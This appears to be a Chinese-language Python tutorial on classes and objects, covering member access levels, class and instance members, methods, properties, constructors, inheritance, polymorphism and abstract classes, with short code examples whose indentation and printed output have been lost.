格式:

对象名=类名([参数列表])

使用:

对象.成员 对象.方法()

类的成员:

成员类型:

按照访问权限分类:

  1. 公有成员:(类内外均可访问)

    不以下划线开头

  2. 私有成员:

    以单下划线或双下划线开头

    • 单下划线开头的私有成员:类和派生类可以访问这些成员,在类外不建议直接访问
    • 双下划线开头的私有成员(但不能以两个或更多下划线结束):只有类自己可以访问,派生类不能访问

按照属于类还是属于对象分类:

  1. 类成员:定义在类体中且在所有方法外的成员为类成员,类成员属于类本身,一般通过类名调用,不建议使用对象名调用。
  2. 实例成员:在类的方法中定义的成员为实例成员。实例成员只能被对象调用,实例成员一般在构造方法”_init_()”中创建,或在其他方法中创建

对类成员访问:

  1. 公有的类成员:在类的方法中通”类名.类成员”或”self.类成员”访问,在类外通过”类名.类成员”或“对象名.类成员”访问。

  2. 公有的实例成员:在类的方法中通过“self.实例成员”访问,在类外通过“对象名.实例成员”访问

  3. 私有的类成员:在类的方法中通过”类名.类成员“或”self.类成员”访问。在类外面不能直接访问

  4. 私有的实力成员:在类方法中通过“self.实力成员”访问,在类外不能直接访问。

注意:

  1. 当用对象名调用类成员时“对象名.类成员名”只是“类.类成员”的一份拷贝,修改“对象名.类成员名”不会修改“类.类成员”。
  2. 当类成员和实例成员名同名时,在类的方法中和外面,“类名.类成员”调用的是同名的类成员,“self.实例成员”(在类方法中)或“对象名.实例成员”(在类的外面)调用的是同名的实例成员。
  3. 定义在类的方法中,且不以self为前缀的变量是该方法的局部变量,不能在方法外使用。

例子:定义一个Women类

class Woman:
def __init__(self,name,sex,age):
self.name=name
self._sex=sex
self.__age=age
def getAge(self):
return self.__age

if __name__ == '__main__':
w=Woman("小贾","Female",18)
print("姓名:%s,性别:%s,年龄:%d."%(w.name,w._sex,w.getAge()))

结果

例2:类成员和实例成员的创建和使用

class Student:
chinese=142 #类成员
maths=1
english=141
#定义构造方法
def __init__(self,name):
self.name=name #实例成员

if __name__ == '__main__':
s1=Student("加魔")
print("{}的语文成绩{}".format(s1.name,str(Student.chinese)))
print("{}的数学成绩{}".format(s1.name, str(Student.maths)))
print("{}的英语成绩{}".format(s1.name, str(Student.english)))

结果

内置成员:

所有的类(无论是系统内置的类还是自定义的类)都有一组特殊的成员,其前后各有两个下划线时类的内置成员:

  1. __name__:类的名字,用字符串表示
  2. __doc__:类的文档字符串
  3. __bases__:由所有父类组成的元组
  4. __dict__:由类的成员组成的字典
  5. __module__:类所属模块

查看异常类Exception的内置成员:

print("类的名字:",Exception.__name__)
print("类的父类:",Exception.__bases__)
print("类的文档:",Exception.__doc__)
print("类的成员:",Exception.__dict__)
print("类所属模块:",Exception.__module__)

结果

类的方法:

  1. 公有方法:公有方法的名字不以下划线开头,可以在类的外面通过类名或对象名调用

  2. 私有方法:私有方法以两个或更多下划线开头,可以在类的方法中通过self调用,不能在类的外面直接调用。

  3. 静态方法和类方法:

    • 静态方法和类方法成员可以通过类名和对象名调用,但不能直接访问属于对象的成员只能访问属于类的成员,不属于任何对象

    • 静态方法使用装饰器@staticmethod声明,类方法使用装饰器@classmethod声明

  4. 抽象方法:抽象方法一般定义在抽象类中并要求派生类对抽象方法进行实现

使用类方法:

#使用类方法
class A(object): #派生自object类
def function_p(self):
print("在公有方法中调用:",self.__function()) #调用私有方法
return "公有方法 'function_p'"
def __function(self):
return "私有方法 '__function'"
@classmethod
def function_c(cls):
return "类方法 'function_c'"
@staticmethod
def function_s():
return "静态方法 'function_s'"
if __name__ == '__main__':
a1 = A()
print("对象调用:" + a1.function_p())
print("对象调用:" + a1.function_c())
print("对象调用:" + a1.function_s())
print("对象调用:" + A.function_p(a1)) #传递对象a1作为参数
print("对象调用:" + A.function_c())
print("对象调用:" + A.function_s())

结果

属性:

  • 一种特殊形式的方法,结合了成员和方法的各自优点,既可以通过属性访问类中的成员,也可以在访问前对用户为成员提供数据的合法性进行检测,还可以设置成员的访问机制

  • 属性通常包括get()方法和se()方法。前者用于获取成员的值,后者用于设置成员的值

  • 也可以包含其他方法如删除方法del()

例:使用属性访问并检查私有成员值的合法性:

#使用属性访问并检查私有成员值的合法性:
class Circle:
def set(self,radius):
if radius>=0:
self.__radius=radius
print("圆的面积为:{0}.".format(3.14*self.__radius**2))
else:
print("半径 %f 不在规定范围内(>=0),请重新设置!"%radius)
def get(self):
return self.__radius

if __name__ == '__main__':
c=Circle()
c.set(2.5)
c.set(-2.5)

结果

使用装饰器@property设置类的属性访问方式

#使用装饰器@property设置类的属性访问方式
class Woman():
def __init__(self,birth):
self.__birth=birth
@property #设置属性可读
def salary(self):
return self.__salary
@salary.setter #设置属性为可写
def salary(self,salary):
self.__salary=salary
@property #设置属性为只读8
def birth(self):
return self.__birth
if __name__ == '__main__':
w1=Woman("1992.06.06")
w1.salary=10800.00
print("您的出生日期%s,薪水:%.2f元"%(w1.birth,w1.salary))

结果

使用属性访问私有成员:

#使用属性访问私有成员
class Test():
def __get(self):
return self.__value
def __set(self,value):
self.__value=value
def __del(self):
del self.__value
value=property(__get,__set,__del)
if __name__ == '__main__':
t=Test()
t.value=100 #写成员
print("value=%d." %t.value) #读成员
del t.value
print("value=%d." %t.value)

结果

特殊方法:

  • 在python中,类有大量的特殊方法,其中比较常见的是构造方法__init__()和析构方法__del__()

  • 构造方法__init__()用来为类中的成员设置初始值或进行必要的初始化工作,在类实例化时被自动调用和执行

  • 析构方法:__del__()一般用来释放对象占用的资源,在删除对象和回收对象空间时被自动调用和执行

构造方法和析构方法的使用:

class Rectangle(object):
def __init__(self,w,h):
self.w=w
self.h=h
print('执行构造方法')
#定义求面积
def getArea(self):
return self.w*self.h
#定义析构方法
def __del__(self):
print('执行析构方法')
if __name__ == '__main__':
rect =Rectangle(3,4) #创建对象,调用构造方法__init__()
print("面积为:",rect.getArea())
del rect #删除对象,调用析构方法__del__()

结果

类的继承:

  • 继承类称为派生类或子类,被继承类成为父类或基类

  • 在python中,派生类可以继承一个父类(单继承)或多个父类(多继承)。

  • 派生类可以继承父类的成员和方法,也可以定义自己的成员方法

  • 如果父类方法不能满足要求,派生类也可以重写父类方法

  • 当派生类继承多个父类时,多个父类之间用逗号隔开

  • 创建派生类的一般格式为:

    class 派生类(父类1,父类2,。。。)
    类体

类的继承

#类的继承:
class People:
def __init__(self,n,a):
self.name=n
self.age=a

#定义公有方法
def speak(self):
print("我是{},今年{}岁".format(self.name,self.age))
class Student(People):
def __init__(self,n,a,g):
People.__init__(self, n, a)#调用父类构造方法
self.grade=g
#重写父类方法
def speak(self):
print("我是{},今年{}岁,今年{}年级".format(self.name, self.age,self.grade))
if __name__ == '__main__':
s=Student('贾程林',40,2)
s.speak();#调用student类中的speak方法
super(Student,s).speak()#调用父类people的speak方法

结果

类的多继承:

#类的继承:
class People:
def __init__(self,n,a):
self.name=n
self.age=a

#定义公有方法
def speak(self):
print("我是{},今年{}岁".format(self.name,self.age))
#类的多继承
class Speaker():
def __init__(self,n,t):
self.name=n
self.topic=t
def speak(self):
print("我是{},是一名科学家,今天我演讲的主题是{}".format(self.name, self.topic))

#定义科学家类继承于people和seapker
class Scientist(Speaker,People):
def __init__(self,n,a,t):
People.__init__(self,n,a)
Speaker.__init__(self,n,t)
if __name__ == '__main__':
Hawkin=Scientist('霍金',50,"时间简史")
Hawkin.speak()#调用继承时排在前面的Speaker类的speak()方法

结果

类的多态:

  • 多态一般指的是父类的一个方法在不同的派生类对象中具有不同的表现和行为

  • 派生类在继承了父类的行为和属性之后还可能增加某些特性的行为和属性,也可能会对继承父类的行为进行一定的改变,这些都是多态的表现

    #类的多态:
    class Animal():
    def getInfo(self):
    return "I am an Animal"

    class Lion(Animal):
    def getInfo(self):
    return "I am a Lion"

    class Tiger(Animal):
    def getInfo(self):
    return "I am a Tiger"
    class Leopard(Animal):
    def getInfo(self):
    return "I am a Leopard"
    if __name__ == '__main__':
    objectList=[item()for item in (Animal,Lion,Tiger,Leopard)]
    for object in objectList:
    print(object.getInfo())

    结果

抽象类和抽象方法:

  • 抽象类往往用来表征对问题领域进行分析、设计中得出的抽象概念,是对一系列看上去不同但本质上相同的概念抽象
  • 抽象类的特点:抽象类中通常包含抽象方法(没有实现功能),该类不能被实例化,只能被继承,且派生类必须实现抽象类中的抽象方法
  • Python中一般使用抽象基类(Abstract Base Class,ABC)来实现抽象类
  • ABC主要定义了基本类和最基本的抽象方法,可以派生类定义公有API,不需要具体实现,相当Java的接口或抽象类
#定义抽象类:
import abc
class People1(metaclass=abc.ABCMeta):
#定义抽象方法
@abc.abstractmethod
def working(self):
pass
class Chinese(People1):
def working(self):
print("中国人都在勤奋的工作")

if __name__ == '__main__':
c1=Chinese()
c1.working()

结果

结束